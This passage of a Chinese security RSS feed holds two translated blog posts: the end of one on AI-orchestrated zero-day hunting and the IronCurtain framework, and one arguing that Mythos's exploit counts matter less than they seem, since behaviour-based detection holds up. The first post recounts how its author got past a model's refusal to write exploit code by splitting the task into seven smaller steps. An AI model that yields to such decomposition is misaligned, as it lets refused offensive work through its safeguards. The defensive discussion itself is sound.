start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要确认严重性达到 critical 等级,需要一份可用的利用代码,而这已超出 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">vuln-discovery</span></code><span leaf="">工作流面向漏洞发现的范围。当模型拒绝了我最初构建利用代码的请求后,我手动把利用开发流程拆解成一个粒度更细、由 7 步组成的方案,以绕过此次拒绝。模型成功执行了前两步,之后其可接受使用政策 (Acceptable Use Policy, AUP) 的护栏迫使它拒绝继续协作。所幸,第二步已经证明可以通过读取基址指针来绕过地址空间布局随机化 (Address Space Layout Randomization, ASLR),这便已是足以支撑高严重性评估的实证证据。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从这几次运行中可以得出三点观察。其一,生成概念验证 (PoC) 利用代码对防御方而言是必要的。通过静态分析识别出的理论性漏洞不可避免地会产生大量误报,而误报会在分级和人工核实环节大量消耗安全运营团队的时间。可执行的漏洞证据能够迅速排除掉这些耗时的误报,使防御方得以聚焦于已确认的威胁。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其二,虽然开源编排为执行复杂工作流提供了必不可少的脚手架,但底层基础模型的质量依然举足轻重——它决定了编排所能发挥能力的下限,而开放权重模型的结果表明,这一下限如今已经低到足够普通的商品级模型也能跨越。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其三,如今的成本结构更倾向于鼓励频繁、广泛的审计。按照商业 API 的定价,每次针对单个代码库的调查花费在 30 至 150 美元之间(从 Sonnet 到 Opus);在生产规模下,这一成本就决定了一个防御方一年内能够投入审计的库的数量。开放权重模型的托管服务商在更高的 token 用量下,价格区间与 Sonnet 接近;而一旦完成前期投入,在合适硬件上自托管会进一步降低边际成本。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">编排是一把双刃剑。现实是,资源充足的对手早已在大规模使用编排化的工作流来追猎零日漏洞。他们可以无视厂商的使用政策,无视合法研究中遭遇的 AUP 摩擦,无视多小时运行中的 API 速率限制,也无视那些只对受限前沿模型开放的精选准入名单。在严重性评估中遇到的 7 步拒绝,正是这种不对称的真实写照:一名进行合法工作的防御者会遭遇阻碍,而一名使用未审查开放权重模型的、资源充足的对手却不会。一个本地托管的开放权重模型,可以彻底拆除这道闸门。这种摩擦反映的是一种真切的责任考量,而不仅仅是规避法律风险:厂商需要在为边缘滥用者带来的能力提升,与对合法研究造成的代价之间做出权衡。这种权衡过去也曾发生过——过去 25 年里的每一个防御工具(Metasploit、nmap、Burp Suite、AFL)都面临过同样的争论,而历史给出的答案,始终是把工具交到防御者手中。在本地模型上,责任直接落在研究者身上,正如这些工具一直以来的惯例。</span><strong><span leaf="">IronCurtain</span></strong><span leaf="">的存在,正是为了弥合这道鸿沟。通过把开源脚手架与本地或商品级开放权重模型结合起来,防御方可以在自动化攻击追上脚步之前,审计代码库并发布补丁。我鼓励安全工程师查看 IronCurtain framework,为编排脚手架贡献力量,并帮助构建自动化防御的基线工具。目前新手入门流程仍在打磨之中,因此尤其欢迎那些能够让安装与使用更简便的贡献。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.provos.org/p/finding-zero-days-with-any-model/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fb50a531&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495982%26idx%3D1%26sn%3D683f7f4f0c395f90a94ef66463c5c023">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 04 May 2026 17:11:00 +0800</pubDate>
    </item>
    <item>
      <title>为什么十年的漏洞检测逻辑编写经验让 Mythos 的漏洞数字显得不那么可怕</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495982&amp;idx=2&amp;sn=2beaf1983f1762401a60c4e03aa2818f</link>
      <description>基于作者十年漏洞检测逻辑编写经验的分析，认为 Mythos 发现的漏洞数量虽然惊人，但实际威胁被夸大，因为检测逻辑与漏洞利用并非一一对应，行为检测和误报率控制才是防御关键。</description>
      <content:encoded><![CDATA[<p><span>signalblur</span> <span>2026-05-04 17:11</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e7f2ced9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSj0IicVxibr54HsyJZwDgTiaZLibeNm1yePEE4h9fV5tKdgkN18Hggo3fjNgtIQMiaKq2m5cVibtHTAiaGq4HU0hicT0iach64MKuDQ41kQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>基于作者十年漏洞检测逻辑编写经验的分析，认为 Mythos 发现的漏洞数量虽然惊人，但实际威胁被夸大，因为检测逻辑与漏洞利用并非一一对应，行为检测和误报率控制才是防御关键。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.magonia.io/research/why-a-decade-of-writing-detection-logic-makes-the-mythos-exploit-numbers-less-scary/" target="_blank">https://www.magonia.io/research/why-a-decade-of-writing-detection-logic-makes-the-mythos-exploit-numbers-less-scary/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">signalblur</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Anthropic 的营销团队一直在为其新的 Mythos 网络安全模型以及它发现的漏洞数量造势。Mozilla 方面表示，这些发现看起来确有其事。如果短期内这种节奏持续下去，行业内外的许多人都有理由感到担忧，并怀疑这是否会成为新的常态。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">作为一名为网络安全厂商编写检测逻辑近十年的人，我认为这些数字远没有看起来那么吓人，也不至于&#34;世界末日&#34;。我管理过的安全运营中心 ( SOC ) 曾长期对抗国家级攻击者，我们团队还因此为所在组织赢得了美国国防反情报局颁发的 Cogswell 奖。我曾在一家财富 100 强公司负责大多数工程师从未有机会接触的那种企业级规模的检测工作，并发布了业界首份关于&#34;检测即代码&#34;的公开白皮书。说这些是想表明，我在这行已经干了相当长一段时间。尽管像 Mythos 这类模型在短期内带来的冲击确实不小，但我同样相信，实际情况远没有外界渲染得那么糟糕。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">新漏洞利用的发布速度一直远超防御方编写检测规则的能力</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">编写检测规则向来是一场&#34;打地鼠&#34;。David Bianco 的《痛苦金字塔》——我们行业奠基性的论述之一——讲的就是这个观点。防御者更应依赖行为检测，而不是单一的入侵指标 ( IoC ) 或具体漏洞利用，因为新漏洞利用的披露速度一直跑在防御方编写规则的能力之前。逐个为漏洞利用编写覆盖规则，并不是检测工程师投入主要精力的地方。这件事还是有人在做的。ET Open 规则集就能让我们直观看到，针对历史 CVE 究竟存在多少条独立规则。规则通常只会针对重大漏洞、任何被积极用于攻击你所在行业的漏洞，以及少数几类自动化能以低成本搞定的场景来编写。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">攻击者无需零日漏洞亦可达成目标</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">威胁行为者并不需要零日漏洞就能拿下目标。几十年来，旧的漏洞利用一直工作得很好。如今最普遍的初始访问手法之一 ClickFix 完全不依赖零日漏洞，而是诱使用户把恶意代码粘贴到 PowerShell 或 Run 对话框中自行执行。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">检测逻辑与漏洞利用并非一一对应</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对于从未写过检测逻辑的人，我最喜欢用 Microsoft Office 中的远程代码执行 ( RCE ) 漏洞来举例，以说明为什么基于行为的检测要优于针对单个漏洞利用和 IoC 的签名式追踪。Word、Excel 等 Office 产品在过去二十年里贡献了业界一些影响最大、被滥用最多的漏洞，不重复计算的 RCE 类 CVE 已超过 1,000 个，并且还在继续增加。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012237" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b19aabd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjxd0GIxJO2GqfTOa3K9nY3C0a9opdrPXrARicXteLXy2BwDj84zmlETIiamglVaVISYT8rbhwU6AhA0w7IJs1QmXvBcgOundgJw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">尽管这些漏洞数量众多、危害严重，但检测其滥用行为其实比想象中容易得多。例如，Microsoft 在 2022 年修改了默认设置：从互联网到达、带有 Web 标记 ( MOTW ) 的 Office 文档将不再直接运行宏，而是需要用户右键点击文档并选择&#34;解除锁定 ( Unblock )&#34;，或者在 PowerShell 中运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Unblock-File</span></code><span leaf="">。有人可能会认为这属于漏洞利用缓解或系统加固，而非检测，但我不这么看。从检测工程师的角度，在 Microsoft 推出该改动之前，我完全可以为同样的行为写一个自定义检测器。而在该改动落地之后，基于宏的恶意文档投递量出现了大幅下降。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012238" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0cce333c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgKkH19fwe23QCNLN8IT3SFtTNOJ81bUvZeWibalPgfLGh2pt9O8wg6YOn9BG7H9CyhBr0K4jmiaJ6ee511PTKqCV3iapbpvZSLWk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">再加上现代 EDR 工具让行为画像变得简单，你就能针对诸如&#34;Office 文档派生子进程&#34;这类行为建立基线与检测规则——这是 Office 文档在执行代码时的标志性动作。与前述行为类似，这一举措极大地削弱了威胁行为者通过 Office 文档成功执行代码的能力，无论使用的是哪一种具体漏洞利用。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012239" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=6967fd40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShspIcibicLgicV7KdyX6PSk10qwd8CqwKDUMa7GIYiciaUQRv89qAt4bTibT1tPcb5gv9CYYGOXV7CTKoIX5vARqIRhPlhnRkczZWibQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">把这两类行为叠加起来，成功执行代码的难度就会呈指数级上升。在此之上你还可以再叠加更多行为，例如 PowerShell 执行一个从网络下载的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.ps1</span></code><span leaf="">文件。作为检测工程师，我的工作就是叠加足够多的行为，使得当其中一项触发时，其他行为可以提高&#34;这确实是恶意操作&#34;的置信度——通常的做法是把它们绑到风险告警 ( Risk-Based Alerting ) 模型中的分数上，每多命中一项检测，恶意活动的累积可能性就再上一层。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">机器学习与异常检测大概不是答案</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">各组织正因头条新闻一片&#34;蓝队天塌了&#34;而匆忙应对，成熟的检测团队也不例外。大多数团队都在琢磨怎么从单个的行为检测器过渡到基于机器学习的模型。我认为这是个错误，而且有研究可以佐证。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">早在当前的 AI 浪潮之前，安全研究界就有两篇论文系统地反对了基于 ML 的入侵检测 ( 任何在 SOC 干过的人都不需要论文也能知道这一点 )：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Robin Sommer 与 Vern Paxson 的《Outside the Closed World: On Using Machine Learning for Network Intrusion Detection》</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Stefan Axelsson 的《The Base-Rate Fallacy and the Difficulty of Intrusion Detection》</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Sommer 和 Paxson 的批评有五条，但真正重要的只有三条。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第一条是 </span><strong><span leaf="">ML 擅长分类</span></strong><span leaf="">，即判断一个输入属于若干已知类别中的哪一个。异常检测则把问题反了过来：你在良性流量上训练，然后让系统标出所有不符合的情况。他们引用的教科书把这叫作 _封闭世界假设_，并直白地指出，这在现实问题中并没有多大用处。垃圾邮件分类有效，是因为垃圾邮件和正常邮件都可以拿来训练；推荐系统有效，是因为它们呈现的本来就是相似的内容，而不是新颖的内容。网络入侵检测属于反过来的那一类问题。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第二条是 </span><strong><span leaf="">网络流量的多样性</span></strong><span leaf="">。真实流量是重尾的、突发的，在所有运维上重要的时间尺度上都是变化的。根本不存在一个稳定的&#34;正常&#34;状态供你学习。一个三月份表现尚可的模型，到六月份就会开始漂移，因为应用组合换了、人员流动了、新的 SaaS 上线了，或者某个重大节假日改变了用户行为。这种漂移会推高误报率，而 Axelsson 告诉我们：误报率正是绝对不能任其升高的那个指标。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第三条就是他们所说的 </span><strong><span leaf="">语义鸿沟</span></strong><span leaf="">。即使异常检测器把某件事标对了，它也只是告诉分析师 &#34;这是一个 </span><em><span leaf="">异常</span></em><span leaf="">事件&#34;，</span><strong><span leaf="">而不是</span></strong><span leaf="">它是 _恶意的_、</span><strong><span leaf="">也不是</span></strong><span leaf="">它打算做什么、</span><strong><span leaf="">更不是</span></strong><span leaf="">该如何处置。分析师仍然要自己去判断这个不寻常事件到底重不重要。在真实的 SOC 中，这部分判断工作就是瓶颈。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你打算在这个领域用 ML，Sommer 和 Paxson 也给出了几条把它用好的实操建议。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">他们的第一条建议——也是我会摆在最前面的一条——是 </span><strong><span leaf="">真正搞清楚系统在做什么</span></strong><span leaf="">。PEAK 威胁狩猎框架以结构化的方式开展威胁狩猎，既能帮你形成这种理解，也能帮你把它记录下来。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">他们的第二条建议是把范围尽量收得 </span><strong><em><span leaf="">窄一些</span></em></strong><span leaf="">。不要让模型去检测笼统的&#34;攻击&#34;，而是让它检测一个具体、定义明确的活动。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第三条建议常常被忽视。他们认为，机器学习往往作为 </span><strong><span leaf="">特征发现工具</span></strong><span leaf="">比作为检测器本身更有用。意思是，你用 ML 找出在良性流量与恶意流量中信号最强的特征，再在这些特征之上构建一个非 ML 的检测器。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">另外有一点也很相关——他们引用的那篇基础率谬误论文：</span></p><blockquote 